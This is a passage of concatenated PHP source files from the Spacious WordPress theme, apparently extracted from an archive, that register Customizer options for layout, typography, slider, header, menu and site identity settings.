					'box_1218px'  => esc_html__( 'Boxed layout with content width of 1218px', 'spacious' ),
					'box_978px'   => esc_html__( 'Boxed layout with content width of 978px', 'spacious' ),
					'wide_1218px' => esc_html__( 'Wide layout with content width of 1218px', 'spacious' ),
					'wide_978px'  => esc_html__( 'Wide layout with content width of 978px', 'spacious' ),
				),
				'priority' => 10,
			),

			// Default layout option.
			array(
				'name'      => 'spacious_default_layout',
				'default'   => 'right_sidebar',
				'type'      => 'control',
				'control'   => 'spacious-radio-image',
				'label'     => esc_html__( 'Default layout', 'spacious' ),
				'section'   => 'spacious_sidebar_layout_section',
				'choices'   => array(
					'right_sidebar'                => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/right-sidebar.png',
					),
					'left_sidebar'                 => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/left-sidebar.png',
					),
					'no_sidebar_full_width'        => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-full-width-layout.png',
					),
					'no_sidebar_content_centered'  => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-content-centered-layout.png',
					),
					'no_sidebar_content_stretched' => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-content-stretched-layout.png',
					),
				),
				'image_col' => 3,
				'priority'  => 5,
			),

			// Default layout for pages only option.
			array(
				'name'      => 'spacious_pages_default_layout',
				'default'   => 'right_sidebar',
				'type'      => 'control',
				'control'   => 'spacious-radio-image',
				'label'     => esc_html__( 'Default layout for pages only', 'spacious' ),
				'section'   => 'spacious_sidebar_layout_section',
				'choices'   => array(
					'right_sidebar'                => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/right-sidebar.png',
					),
					'left_sidebar'                 => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/left-sidebar.png',
					),
					'no_sidebar_full_width'        => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-full-width-layout.png',
					),
					'no_sidebar_content_centered'  => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-content-centered-layout.png',
					),
					'no_sidebar_content_stretched' => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-content-stretched-layout.png',
					),
				),
				'image_col' => 3,
				'priority'  => 10,
			),

			// Default layout for single posts page only option.
			array(
				'name'      => 'spacious_single_posts_default_layout',
				'default'   => 'right_sidebar',
				'type'      => 'control',
				'control'   => 'spacious-radio-image',
				'label'     => esc_html__( 'Default layout for single posts only', 'spacious' ),
				'section'   => 'spacious_sidebar_layout_section',
				'choices'   => array(
					'right_sidebar'                => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/right-sidebar.png',
					),
					'left_sidebar'                 => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/left-sidebar.png',
					),
					'no_sidebar_full_width'        => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-full-width-layout.png',
					),
					'no_sidebar_content_centered'  => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-content-centered-layout.png',
					),
					'no_sidebar_content_stretched' => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-content-stretched-layout.png',
					),
				),
				'image_col' => 3,
				'priority'  => 15,
			),

		);

		$options = array_merge( $options, $configs );

		return $options;
	}

}

return new Spacious_Customize_Layout_Options();
options/global/class-spacious-customize-typography-options.php000066600000004127152367043330021074 0ustar00<?php
/**
 * Class to include Typography General customize options.
 *
 * Class Spacious_Customize_Typography_options
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 1.9.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to include Typography General customize options.
 *
 * Class Spacious_Customize_Typography_options
 */
class Spacious_Customize_Typography_options extends Spacious_Customize_Base_Option {

	/**
	 * Include customize options.
	 *
	 * @param array $options Customize options provided via the theme.
	 * @param \WP_Customize_Manager $wp_customize Theme Customizer object.
	 *
	 * @return mixed|void Customizer options for registering panels, sections as well as controls.
	 */
	public function register_options( $options, $wp_customize ) {

		$configs = array(

			/**
			 * Content.
			 */
			array(
				'name'     => 'spacious_body_font_heading',
				'type'     => 'control',
				'control'  => 'spacious-title',
				'label'    => esc_html__( 'Body', 'spacious' ),
				'section'  => 'spacious_base_typography_section',
				'priority' => 5,
			),

			array(
				'name'     => 'spacious_content_font_typography',
				'default'  => array(
					'font-family' => 'Lato',
				),
				'type'     => 'control',
				'control'  => 'spacious-typography',
				'section'  => 'spacious_base_typography_section',
				'priority' => 15,
			),

			/**
			 * Headings.
			 */
			array(
				'name'     => 'spacious_headings_typography_heading',
				'type'     => 'control',
				'control'  => 'spacious-title',
				'label'    => esc_html__( 'Headings', 'spacious' ),
				'section'  => 'spacious_headings_typography_section',
				'priority' => 5,
			),

			array(
				'name'     => 'spacious_titles_font_typography',
				'default'  => array(
					'font-family' => 'Lato',
				),
				'type'     => 'control',
				'control'  => 'spacious-typography',
				'section'  => 'spacious_headings_typography_section',
				'priority' => 15,
			),

		);

		$options = array_merge( $options, $configs );

		return $options;
	}

}

return new Spacious_Customize_Typography_options();
options/global/class-spacious-customize-background-options.php000066600000002506152367043330021004 0ustar00<?php
/**
 * Class to include Background customize options.
 *
 * Class Spacious_Customize_Background_Options
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 1.9.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to include Background customize option.
 *
 * Class Spacious_Customize_Background_Options
 */
class Spacious_Customize_Background_Options extends Spacious_Customize_Base_Option {

	/**
	 * Include customize options.
	 *
	 * @param array $options Customize options provided via the theme.
	 * @param \WP_Customize_Manager $wp_customize Theme Customizer object.
	 *
	 * @return mixed|void Customizer options for registering panels, sections as well as controls.
	 */

	public function register_options( $options, $wp_customize ) {

		$configs = array(

			/**
			 * Global color background options.
			 */
			// Outside container design options heading separator.
			array(
				'name'     => 'global_background_heading',
				'type'     => 'control',
				'control'  => 'spacious-title',
				'label'    => esc_html__( 'Outside Container', 'spacious' ),
				'section'  => 'spacious_global_background_section',
				'priority' => 15,
			),

		);

		$options = array_merge( $options, $configs );

		return $options;
	}

}

return new Spacious_Customize_Background_Options();
options/content/class-spacious-customize-single-post-options.php000066600000007267152367043330021354 0ustar00<?php
/**
 * Class to include Blog Single Post customize options.
 *
 * Class Spacious_Customize_Single_Post_Options
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 1.9.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to include Blog Single Post customize options.
 *
 * Class Spacious_Customize_Single_Post_Options
 */
class Spacious_Customize_Single_Post_Options extends Spacious_Customize_Base_Option {

	/**
	 * Include customize options.
	 *
	 * @param array $options Customize options provided via the theme.
	 * @param \WP_Customize_Manager $wp_customize Theme Customizer object.
	 *
	 * @return mixed|void Customizer options for registering panels, sections as well as controls.
	 */
	public function register_options( $options, $wp_customize ) {

		// Customize transport postMessage variable to set `postMessage` or `refresh` as required.
		$customizer_selective_refresh = isset( $wp_customize->selective_refresh ) ? 'postMessage' : 'refresh';

		$configs = array(

			/**
			 * Author Bio.
			 */
			array(
				'name'     => 'author_bio_heading',
				'type'     => 'control',
				'control'  => 'spacious-title',
				'label'    => esc_html__( 'Author Bio', 'spacious' ),
				'section'  => 'spacious_single_post_section',
				'priority' => 10,
			),

			array(
				'name'      => 'spacious_author_bio',
				'default'   => 0,
				'type'      => 'control',
				'control'   => 'checkbox',
				'label'     => esc_html__( 'Check to enable the author bio section just below the post.', 'spacious' ),
				'transport' => $customizer_selective_refresh,
				'partial'   => array(
					'selector' => '.author-box',
				),
				'section'   => 'spacious_single_post_section',
				'priority'  => 20,
			),

			/**
			 * Featured Image.
			 */
			array(
				'name'     => 'featured_image_single_post_heading',
				'type'     => 'control',
				'control'  => 'spacious-title',
				'label'    => esc_html__( 'Featured Image In Single Post Page', 'spacious' ),
				'section'  => 'spacious_single_post_section',
				'priority' => 70,
			),

			array(
				'name'     => 'spacious_featured_image_single_post_page',
				'default'  => 0,
				'type'     => 'control',
				'control'  => 'checkbox',
				'label'    => esc_html__( 'Check to enable the featured image in single post page.', 'spacious' ),
				'section'  => 'spacious_single_post_section',
				'priority' => 80,
			),

			/**
			 * Related posts options.
			 */
			array(
				'name'     => 'related_post_heading',
				'type'     => 'control',
				'control'  => 'spacious-title',
				'label'    => esc_html__( 'Related Posts', 'spacious' ),
				'section'  => 'spacious_single_post_section',
				'priority' => 160,
			),

			array(
				'name'     => 'spacious_related_posts_activate',
				'default'  => 0,
				'type'     => 'control',
				'control'  => 'checkbox',
				'label'    => esc_html__( 'Check to activate the related posts', 'spacious' ),
				'section'  => 'spacious_single_post_section',
				'priority' => 170,
			),

			array(
				'name'       => 'spacious_related_posts',
				'default'    => 'categories',
				'type'       => 'control',
				'control'    => 'radio',
				'label'      => esc_html__( 'Related Posts Must Be Shown As:', 'spacious' ),
				'section'    => 'spacious_single_post_section',
				'choices'    => array(
					'categories' => esc_html__( 'Related Posts By Categories', 'spacious' ),
					'tags'       => esc_html__( 'Related Posts By Tags', 'spacious' ),
				),
				'dependency' => array(
					'spacious_related_posts_activate',
					'!=',
					0,
				),
				'priority'   => 180,
			),
		);

		$options = array_merge( $options, $configs );

		return $options;
	}

}

return new Spacious_Customize_Single_Post_Options();
options/content/class-spacious-customize-page-header-options.php000066600000003221152367043330021234 0ustar00<?php
/**
 * Class to include Header button customize options.
 *
 * Class Spacious_Customize_Page_Header_options
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 1.9.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to include Header button customize options.
 *
 * Class Spacious_Customize_Page_Header_options
 */
class Spacious_Customize_Page_Header_options extends Spacious_Customize_Base_Option {

	/**
	 * Include customize options.
	 *
	 * @param array $options Customize options provided via the theme.
	 * @param \WP_Customize_Manager $wp_customize Theme Customizer object.
	 *
	 * @return mixed|void Customizer options for registering panels, sections as well as controls.
	 */
	public function register_options( $options, $wp_customize ) {

		// Customize transport postMessage variable to set `postMessage` or `refresh` as required.
		$customizer_selective_refresh = isset( $wp_customize->selective_refresh ) ? 'postMessage' : 'refresh';

		$configs = array(

			array(
				'name'    => 'header_title_heading',
				'type'    => 'control',
				'control' => 'spacious-title',
				'label'   => esc_html__( 'Header Title', 'spacious' ),
				'section' => 'spacious_post_page_content_options',
			),

			array(
				'name'    => 'spacious_header_title_hide',
				'default' => 0,
				'type'    => 'control',
				'control' => 'checkbox',
				'label'   => esc_html__( 'Hide page/post header title', 'spacious' ),
				'section' => 'spacious_post_page_content_options',
			),

		);

		$options = array_merge( $options, $configs );

		return $options;
	}

}

return new Spacious_Customize_Page_Header_options();
options/content/class-spacious-customize-page-options.php000066600000003061152367043330020010 0ustar00<?php
/**
 * Class to include Blog Single Page customize options.
 *
 * Class Spacious_Customize_Page_Options
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 1.9.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to include Page customize options.
 *
 * Class Spacious_Customize_Page_Options
 */
class Spacious_Customize_Page_Options extends Spacious_Customize_Base_Option {

	/**
	 * Include customize options.
	 *
	 * @param array $options Customize options provided via the theme.
	 * @param \WP_Customize_Manager $wp_customize Theme Customizer object.
	 *
	 * @return mixed|void Customizer options for registering panels, sections as well as controls.
	 */
	public function register_options( $options, $wp_customize ) {

		$configs = array(

			array(
				'name'     => 'featured_image_page_heading',
				'type'     => 'control',
				'control'  => 'spacious-title',
				'label'    => esc_html__( 'Featured Image in Single Page', 'spacious' ),
				'section'  => 'spacious_page_section',
				'priority' => 10,
			),

			// Featured image display in single page option.
			array(
				'name'     => 'spacious_featured_image_single_page',
				'default'  => 0,
				'type'     => 'control',
				'control'  => 'checkbox',
				'label'    => esc_html__( 'Check to enable the featured image in single page.', 'spacious' ),
				'section'  => 'spacious_page_section',
				'priority' => 20,
			),

		);

		$options = array_merge( $options, $configs );

		return $options;
	}

}

return new Spacious_Customize_Page_Options();
options/content/class-spacious-customize-blog-archive-options.php000066600000004205152367043330021437 0ustar00<?php
/**
 * Class to include Blog General customize options.
 *
 * Class Spacious_Customize_Blog_Archive_Options
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 1.9.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to include Blog General customize options.
 *
 * Class Spacious_Customize_Blog_Archive_Options
 */
class Spacious_Customize_Blog_Archive_Options extends Spacious_Customize_Base_Option {

	/**
	 * Include customize options.
	 *
	 * @param array $options Customize options provided via the theme.
	 * @param \WP_Customize_Manager $wp_customize Theme Customizer object.
	 *
	 * @return mixed|void Customizer options for registering panels, sections as well as controls.
	 */
	public function register_options( $options, $wp_customize ) {

		// Customize transport postMessage variable to set `postMessage` or `refresh` as required.
		$customizer_selective_refresh = isset( $wp_customize->selective_refresh ) ? 'postMessage' : 'refresh';

		$configs = array(

			array(
				'name'     => 'blog_post_display_heading',
				'type'     => 'control',
				'control'  => 'spacious-title',
				'label'    => esc_html__( 'Blog Posts display type', 'spacious' ),
				'section'  => 'spacious_blog_content_options',
				'priority' => 10,
			),

			array(
				'name'        => 'spacious_archive_display_type',
				'default'     => 'blog_large',
				'type'        => 'control',
				'control'     => 'radio',
				'description' => esc_html__( 'Choose the layout option for the blog, archive and search results pages.', 'spacious' ),
				'section'     => 'spacious_blog_content_options',
				'choices'     => array(
					'blog_large'            => esc_html__( 'Blog Image Large', 'spacious' ),
					'blog_medium'           => esc_html__( 'Blog Image Medium', 'spacious' ),
					'blog_medium_alternate' => esc_html__( 'Blog Image Alternate Medium', 'spacious' ),
					'blog_full_content'     => esc_html__( 'Blog Full Content', 'spacious' ),
				),
				'priority'    => 20,
			),

		);

		$options = array_merge( $options, $configs );

		return $options;
	}

}

return new Spacious_Customize_Blog_Archive_Options();
options/slider/class-spacious-customize-slider-options.php000066600000011617152367043330020174 0ustar00<?php
/**
 * Class to include Blog Single Page customize options.
 *
 * Class jSpacious_Customize_Slider_Options
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 1.9.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to include Page customize options.
 *
 * Class Spacious_Customize_Slider_Options
 */
class Spacious_Customize_Slider_Options extends Spacious_Customize_Base_Option {

	/**
	 * Include customize options.
	 *
	 * @param array $options Customize options provided via the theme.
	 * @param \WP_Customize_Manager $wp_customize Theme Customizer object.
	 *
	 * @return mixed|void Customizer options for registering panels, sections as well as controls.
	 */
	public function register_options( $options, $wp_customize ) {

		$customizer_selective_refresh = isset( $wp_customize->selective_refresh ) ? 'postMessage' : 'refresh';

		$configs = array(

			// Slider Activate heading.
			array(
				'name'    => 'slider_activate_heading',
				'type'    => 'control',
				'control' => 'spacious-title',
				'label'   => esc_html__( 'Activate slider', 'spacious' ),
				'section' => 'spacious_slider_options',
			),

			array(
				'name'      => 'spacious_activate_slider',
				'default'   => 0,
				'type'      => 'control',
				'control'   => 'checkbox',
				'label'     => esc_html__( 'Check to activate slider.', 'spacious' ),
				'section'   => 'spacious_slider_options',
				'transport' => $customizer_selective_refresh,
				'partial'   => array(
					'selector'        => '#featured-slider',
					'render_callback' => '',
				),
			),

			// slider status heading.
			array(
				'name'       => 'slider_status_heading',
				'type'       => 'control',
				'control'    => 'spacious-title',
				'label'      => esc_html__( 'Disable slider in Posts page', 'spacious' ),
				'section'    => 'spacious_slider_options',
				'dependency' => array(
					'spacious_activate_slider',
					'!=',
					0,
				),
			),

			array(
				'name'       => 'spacious_blog_slider',
				'default'    => 0,
				'type'       => 'control',
				'control'    => 'checkbox',
				'label'      => esc_html__( 'Check to disable slider in Posts Page', 'spacious' ),
				'section'    => 'spacious_slider_options',
				'transport'  => $customizer_selective_refresh,
				'partial'    => array(
					'selector'        => '#featured-slider',
					'render_callback' => '',
				),
				'dependency' => array(
					'spacious_activate_slider',
					'!=',
					0,
				),
			),
		);

		$options = array_merge( $options, $configs );

		for ( $i = 1; $i <= 5; $i++ ) {

			$configs[] = array(
				'name'       => 'slider_image_upload_heading' . $i,
				'type'       => 'control',
				'control'    => 'spacious-title',
				'label'      => sprintf( esc_html__( 'Slider Content #%1$s', 'spacious' ), $i ),
				'section'    => 'spacious_slider_options',
				'dependency' => array(
					'spacious_activate_slider',
					'!=',
					0,
				),
			);

			$configs[] = array(
				'name'       => 'spacious_slider_image' . $i,
				'default'    => '',
				'type'       => 'control',
				'control'    => 'image',
				'label'      => esc_html__( 'Upload slider image.', 'spacious' ),
				'section'    => 'spacious_slider_options',
				'dependency' => array(
					'spacious_activate_slider',
					'!=',
					0,
				),
			);

			$configs[] = array(
				'name'       => 'spacious_slider_title' . $i,
				'default'    => '',
				'type'       => 'control',
				'control'    => 'text',
				'label'      => esc_html__( 'Enter title for your slider.', 'spacious' ),
				'section'    => 'spacious_slider_options',
				'dependency' => array(
					'spacious_activate_slider',
					'!=',
					0,
				),
			);

			$configs[] = array(
				'name'       => 'spacious_slider_text' . $i,
				'default'    => '',
				'type'       => 'control',
				'control'    => 'textarea',
				'label'      => esc_html__( 'Enter your slider description.', 'spacious' ),
				'section'    => 'spacious_slider_options',
				'dependency' => array(
					'spacious_activate_slider',
					'!=',
					0,
				),
			);

			$configs[] = array(
				'name'       => 'spacious_slider_button_text' . $i,
				'default'    => '',
				'type'       => 'control',
				'control'    => 'text',
				'label'      => esc_html__( 'Enter the button text. Default is "Read more"', 'spacious' ),
				'section'    => 'spacious_slider_options',
				'dependency' => array(
					'spacious_activate_slider',
					'!=',
					0,
				),
			);

			$configs[] = array(
				'name'       => 'spacious_slider_link' . $i,
				'default'    => '',
				'type'       => 'control',
				'control'    => 'url',
				'label'      => esc_html__( 'Enter link to redirect slider when clicked', 'spacious' ),
				'section'    => 'spacious_slider_options',
				'dependency' => array(
					'spacious_activate_slider',
					'!=',
					0,
				),
			);
		}

		$options = array_merge( $options, $configs );

		return $options;
	}

}

return new Spacious_Customize_Slider_Options();
options/header/class-spacious-customize-header-media-options.php000066600000005306152367043330021163 0ustar00<?php
/**
 * Class to include Header Media customize options.
 *
 * Class Spacious_Customize_Header_Media_Options
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 1.9.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to include Header Media customize options.
 *
 * Class Spacious_Customize_Header_Media_Options
 */
class Spacious_Customize_Header_Media_Options extends Spacious_Customize_Base_Option {

	/**
	 * Include customize options.
	 *
	 * @param array $options Customize options provided via the theme.
	 * @param \WP_Customize_Manager $wp_customize Theme Customizer object.
	 *
	 * @return mixed|void Customizer options for registering panels, sections as well as controls.
	 */
	public function register_options( $options, $wp_customize ) {

		$header_image_value = get_theme_mod( 'header_image' ) === 'remove-header' ? 'remove-header' : '';
		$header_video_value = get_theme_mod( 'header_video' ) === 0 ? 0 : '';

		$configs = array(

			array(
				'name'       => 'header_image_position_heading',
				'type'       => 'control',
				'control'    => 'spacious-title',
				'label'      => esc_html__( 'Header Image Position', 'spacious' ),
				'section'    => 'header_image',
				'dependency' => array(
					'conditions' => array(
						array(
							'header_image',
							'!=',
							$header_image_value,
						),
						array(
							'header_video',
							'!=',
							$header_video_value,
						),
						array(
							'external_header_video',
							'!=',
							'',
						),
					),
					'operator'   => 'OR',
				),
				'priority'   => 10,
			),

			// Header image position option.
			array(
				'name'       => 'spacious_header_image_position',
				'default'    => 'above',
				'type'       => 'control',
				'control'    => 'radio',
				'label'      => esc_html__( 'Header image display position', 'spacious' ),
				'section'    => 'header_image',
				'choices'    => array(
					'above' => esc_html__( 'Position Above (Default): Display the Header image just above the site title and main menu part.', 'spacious' ),
					'below' => esc_html__( 'Position Below: Display the Header image just below the site title and main menu part.', 'spacious' ),
				),
				'dependency' => array(
					'conditions' => array(
						array(
							'header_image',
							'!=',
							$header_image_value,
						),
						array(
							'header_video',
							'!=',
							$header_video_value,
						),
						array(
							'external_header_video',
							'!=',
							'',
						),
					),
					'operator'   => 'OR',
				),
				'priority'   => 10,
			),

		);

		$options = array_merge( $options, $configs );

		return $options;
	}
}

return new Spacious_Customize_Header_Media_Options();
options/header/class-spacious-customize-header-button.php000066600000004055152367043330017726 0ustar00<?php
/**
 * Class to include Header button customize options.
 *
 * Class Spacious_Customize_Header_Button_Options
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 1.9.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to include Header button customize options.
 *
 * Class Spacious_Customize_Header_Button_Options
 */
class Spacious_Customize_Header_Button_Options extends Spacious_Customize_Base_Option {

	/**
	 * Include customize options.
	 *
	 * @param array $options Customize options provided via the theme.
	 * @param \WP_Customize_Manager $wp_customize Theme Customizer object.
	 *
	 * @return mixed|void Customizer options for registering panels, sections as well as controls.
	 */
	public function register_options( $options, $wp_customize ) {

		// Customize transport postMessage variable to set `postMessage` or `refresh` as required.
		$customizer_selective_refresh = isset( $wp_customize->selective_refresh ) ? 'postMessage' : 'refresh';

		$configs = array(

			// Header button one option.
			array(
				'name'     => 'spacious_header_button_one_setting',
				'default'  => '',
				'type'     => 'control',
				'control'  => 'text',
				'label'    => esc_html__( 'Button Text', 'spacious' ),
				'section'  => 'spacious_header_button_one',
				'priority' => 15,
			),

			// Header button one option.
			array(
				'name'     => 'spacious_header_button_one_link',
				'default'  => '',
				'type'     => 'control',
				'control'  => 'url',
				'label'    => esc_html__( 'Button Link', 'spacious' ),
				'section'  => 'spacious_header_button_one',
				'priority' => 15,
			),

			array(
				'name'     => 'spacious_header_button_one_tab',
				'default'  => 0,
				'type'     => 'control',
				'control'  => 'checkbox',
				'label'    => esc_html__( 'Check to show in new tab', 'spacious' ),
				'section'  => 'spacious_header_button_one',
				'priority' => 20,
			),

		);

		$options = array_merge( $options, $configs );

		return $options;
	}

}

return new Spacious_Customize_Header_Button_Options();
options/header/class-spacious-customize-primary-menu-options.php000066600000006063152367043330021304 0ustar00<?php
/**
 * Class to include Header Primary Menu customize options.
 *
 * Class Spacious_Customize_Primary_Menu_Options
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 1.9.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to include Header Primary Menu customize options.
 *
 * Class Spacious_Customize_Primary_Menu_Options
 */
class Spacious_Customize_Primary_Menu_Options extends Spacious_Customize_Base_Option {

	/**
	 * Include customize options.
	 *
	 * @param array $options Customize options provided via the theme.
	 * @param \WP_Customize_Manager $wp_customize Theme Customizer object.
	 *
	 * @return mixed|void Customizer options for registering panels, sections as well as controls.
	 */
	public function register_options( $options, $wp_customize ) {

		// Customize transport postMessage variable to set `postMessage` or `refresh` as required.
		$customizer_selective_refresh = isset( $wp_customize->selective_refresh ) ? 'postMessage' : 'refresh';

		$configs = array(

			/**
			 * Search icon options.
			 */
			array(
				'name'     => 'header_primary_menu_search',
				'type'     => 'control',
				'control'  => 'spacious-title',
				'label'    => esc_html__( 'Search Icon', 'spacious' ),
				'section'  => 'spacious_header_primary_menu',
				'priority' => 10,
			),

			// Search Icon option.
			array(
				'name'      => 'spacious_header_search_icon',
				'default'   => 0,
				'type'      => 'control',
				'control'   => 'checkbox',
				'label'     => esc_html__( 'Show search icon in header.', 'spacious' ),
				'section'   => 'spacious_header_primary_menu',
				'transport' => $customizer_selective_refresh,
				'partial'   => array(
					'selector' => '.home-icon',
				),
				'priority'  => 20,
			),

			// Menu Display option.
			array(
				'name'     => 'header_primary_menu_display',
				'type'     => 'control',
				'control'  => 'spacious-title',
				'label'    => esc_html__( 'Menu Display', 'spacious' ),
				'section'  => 'spacious_header_primary_menu',
				'priority' => 40,
			),

			array(
				'name'     => 'spacious_one_line_menu_setting',
				'default'  => 0,
				'type'     => 'control',
				'control'  => 'checkbox',
				'label'    => esc_html__( 'Display menu in one line', 'spacious' ),
				'section'  => 'spacious_header_primary_menu',
				'priority' => 50,
			),

			// Responsive menu style heading.
			array(
				'name'     => 'header_primary_menu_responsive_style',
				'type'     => 'control',
				'control'  => 'spacious-title',
				'label'    => esc_html__( 'Responsive Menu Style', 'spacious' ),
				'section'  => 'spacious_header_primary_menu',
				'priority' => 60,
			),

			array(
				'name'     => 'spacious_new_menu',
				'default'  => 1,
				'type'     => 'control',
				'control'  => 'checkbox',
				'label'    => esc_html__( 'Switch to new responsive menu.', 'spacious' ),
				'section'  => 'spacious_header_primary_menu',
				'priority' => 70,
			),

		);

		$options = array_merge( $options, $configs );

		return $options;
	}

}

return new Spacious_Customize_Primary_Menu_Options();
options/header/class-spacious-customize-primary-header-options.php000066600000003567152367043330021576 0ustar00<?php
/**
 * Class to include Header General customize options.
 *
 * Class Spacious_Customize_Primary_Header_Options
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 1.9.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to include Header General customize options.
 *
 * Class Spacious_Customize_Primary_Header_Options
 */
class Spacious_Customize_Primary_Header_Options extends Spacious_Customize_Base_Option {

	/**
	 * Include customize options.
	 *
	 * @param array $options Customize options provided via the theme.
	 * @param \WP_Customize_Manager $wp_customize Theme Customizer object.
	 *
	 * @return mixed|void Customizer options for registering panels, sections as well as controls.
	 */
	public function register_options( $options, $wp_customize ) {

		$configs = array(

			array(
				'name'     => 'header_display_heading',
				'type'     => 'control',
				'control'  => 'spacious-title',
				'label'    => esc_html__( 'Header Display Type', 'spacious' ),
				'section'  => 'spacious_header_main',
				'priority' => 5,
			),

			// Main total header area display type option.
			array(
				'name'      => 'spacious_header_display_type',
				'default'   => 'one',
				'type'      => 'control',
				'control'   => 'spacious-radio-image',
				'label'     => esc_html__( 'Choose the header display type that you want.', 'spacious' ),
				'section'   => 'spacious_header_main',
				'choices'   => array(
					'one'  => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/header-left.png',
					),
					'four' => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/menu-bottom.png',
					),
				),
				'image_col' => 2,
				'priority'  => 10,
			),

		);

		$options = array_merge( $options, $configs );

		return $options;
	}

}

return new Spacious_Customize_Primary_Header_Options();
options/header/class-spacious-customize-site-identity-options.php000066600000007146152367043330021455 0ustar00<?php
/**
 * Class to include Header Main Area customize options.
 *
 * Class Spacious_Customize_Site_Identity_Options
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 1.9.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to include Header Main Area customize options.
 *
 * Class Spacious_Customize_Site_Identity_Options
 */
class Spacious_Customize_Site_Identity_Options extends Spacious_Customize_Base_Option {

	/**
	 * Include customize options.
	 *
	 * @param array $options Customize options provided via the theme.
	 * @param \WP_Customize_Manager $wp_customize Theme Customizer object.
	 *
	 * @return mixed|void Customizer options for registering panels, sections as well as controls.
	 */
	public function register_options( $options, $wp_customize ) {

		$configs = array(

			array(
				'name'     => 'logo_text_visibility_heading',
				'type'     => 'control',
				'control'  => 'spacious-title',
				'label'    => esc_html__( 'Visibility', 'spacious' ),
				'section'  => 'title_tagline',
				'priority' => 0,
			),

			// Header logo placement option.
			array(
				'name'     => 'spacious_show_header_logo_text',
				'default'  => 'text_only',
				'type'     => 'control',
				'control'  => 'radio',
				'label'    => esc_html__( 'Choose the option that you want.', 'spacious' ),
				'section'  => 'title_tagline',
				'choices'  => array(
					'logo_only' => esc_html__( 'Header Logo Only', 'spacious' ),
					'text_only' => esc_html__( 'Header Text Only', 'spacious' ),
					'both'      => esc_html__( 'Show Both', 'spacious' ),
					'none'      => esc_html__( 'Disable', 'spacious' ),
				),
				'priority' => 1,
			),

			array(
				'name'     => 'site_logo_heading',
				'type'     => 'control',
				'control'  => 'spacious-title',
				'label'    => esc_html__( 'Site Logo', 'spacious' ),
				'section'  => 'title_tagline',
				'priority' => 5,
			),

			array(
				'name'     => 'spacious_different_retina_logo',
				'type'     => 'control',
				'control'  => 'checkbox',
				'default'  => 0,
				'label'    => esc_html__( 'Different Logo for Retina Devices?', 'spacious' ),
				'section'  => 'title_tagline',
				'priority' => 6,
			),

			array(
				'name'       => 'spacious_retina_logo_upload',
				'type'       => 'control',
				'control'    => 'image',
				'label'      => esc_html__( 'Retina Logo', 'spacious' ),
				'section'    => 'title_tagline',
				'priority'   => 7,
				'dependency' => array(
					'spacious_different_retina_logo',
					'!=',
					0,
				),
			),

			array(
				'name'     => 'site_icon_heading',
				'type'     => 'control',
				'control'  => 'spacious-title',
				'label'    => esc_html__( 'Site Icon', 'spacious' ),
				'section'  => 'title_tagline',
				'priority' => 8,
			),

			array(
				'name'     => 'site_title_heading',
				'type'     => 'control',
				'control'  => 'spacious-title',
				'label'    => esc_html__( 'Site Title', 'spacious' ),
				'section'  => 'title_tagline',
				'priority' => 9,
			),

			array(
				'name'     => 'site_tagline_heading',
				'type'     => 'control',
				'control'  => 'spacious-title',
